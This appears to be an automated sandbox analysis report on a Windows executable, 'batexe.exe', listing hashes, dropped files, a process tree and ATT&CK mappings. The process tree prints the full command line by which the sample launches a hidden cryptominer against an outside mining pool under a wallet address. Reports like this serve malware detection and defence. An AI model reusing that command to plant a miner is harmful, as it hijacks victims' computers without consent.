73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
290s
max time network
298s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13-02-2024 07:15

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2376	b2e.exe
2924	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2840-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2840 wrote to memory of 2376	2840	batexe.exe	74
PID 2840 wrote to memory of 2376	2840	batexe.exe	74
PID 2840 wrote to memory of 2376	2840	batexe.exe	74
PID 2376 wrote to memory of 4708	2376	b2e.exe	75
PID 2376 wrote to memory of 4708	2376	b2e.exe	75
PID 2376 wrote to memory of 4708	2376	b2e.exe	75
PID 4708 wrote to memory of 2924	4708	cmd.exe	78
PID 4708 wrote to memory of 2924	4708	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Users\Admin\AppData\Local\Temp\A4FA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A4FA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A4FA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A7F8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A4FA.tmp\b2e.exe

Filesize
1.2MB

MD5
05f6765e8266a1a7d81a80da7788444e

SHA1
e7afd0bf0dce889a026f4233c6705907083e6e23

SHA256
3256219f071d9bbeb2b3483abc7e647cbb550c0b74c415ace444bd8a334df9e8

SHA512
417d266a6eae32d630cf1322d3ab78f8547b09254ba3b5e2e544a7fd294de819754ab2f104ba2f3cab59a1fcfe7b0ea6f622712736079b7eec12a242b914293c

Download Submit
C:\Users\Admin\AppData\Local\Temp\A4FA.tmp\b2e.exe

Filesize
1.5MB

MD5
2a089e8bf6578017b5c976d0dacec1b8

SHA1
111f721c4eb9edb2555114a6c8d95d0bac6bf333

SHA256
7c38ff410d155d55353f7c8d0ccda5c2f63a97eadff37a99228b2cff8efddb50

SHA512
5efbe1daa3034284f68f7045fbbd4e26276165f60dca93d455772d5727deaf9ebc059a8b7b0763c6d00243fc8bbff9a197556837e71a1ecfd71e6919b8a7ecfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\A7F8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.5MB

MD5
e09eb66aa9a9d0326398a9860b0a6ebc

SHA1
a80c2b04b701a65146d7623540c6ba933ecd7312

SHA256
dc1cfc4272c2ae788b1d2cabb916b950fd9c2d06bf73d8f86bc28076a4bce3f5

SHA512
4bb6f686fc55caf5e480b0537f05261c7ac3b5a6fdaf97b9e07dfa76996609e2a6a333a89f33e755b0304cd00daf5f2b3b989009a6d03526a3199d2ac674988d

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.1MB

MD5
826f80977b5719d1856282077c531a30

SHA1
9e56445a1850881177b4cf55cce691c46f5b97d5

SHA256
88e2999e65c349de3d02df2aa8dd18e625f7f61d24dd4326ffb9ac4bc544b55a

SHA512
00e7f7e8b3fbc6557a7a4c0d612df9f266b2fbafc04676db0d78a6d70c02eb07b4ec719ec08c7a23d120e95d8ff266396a16f8d027c4396189f268a82cb65621

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
102a30b479295f86683a43d4c2a3b777

SHA1
9e3f4d6d3e016c4987e80f34117ce8c7ec8252e7

SHA256
2f7ee8a286550706913dbce43f8bca5ff8f76e0609a08f95e918e9ab23e983c8

SHA512
74625405b8ae308d1f75d61b9c2ee2396a68bcb6f48ccb83787094a02b013d40f9cf1374e17b9d7824cdc74e2c5f0be101f374a623505639b22d308f06ab7ee4

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2376-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2376-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2840-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2924-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2924-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2924-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-44-0x0000000000E70000-0x0000000002725000-memory.dmp

Filesize
24.7MB

Download
memory/2924-42-0x00000000667F0000-0x0000000066888000-memory.dmp

Filesize
608KB

Download
memory/2924-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download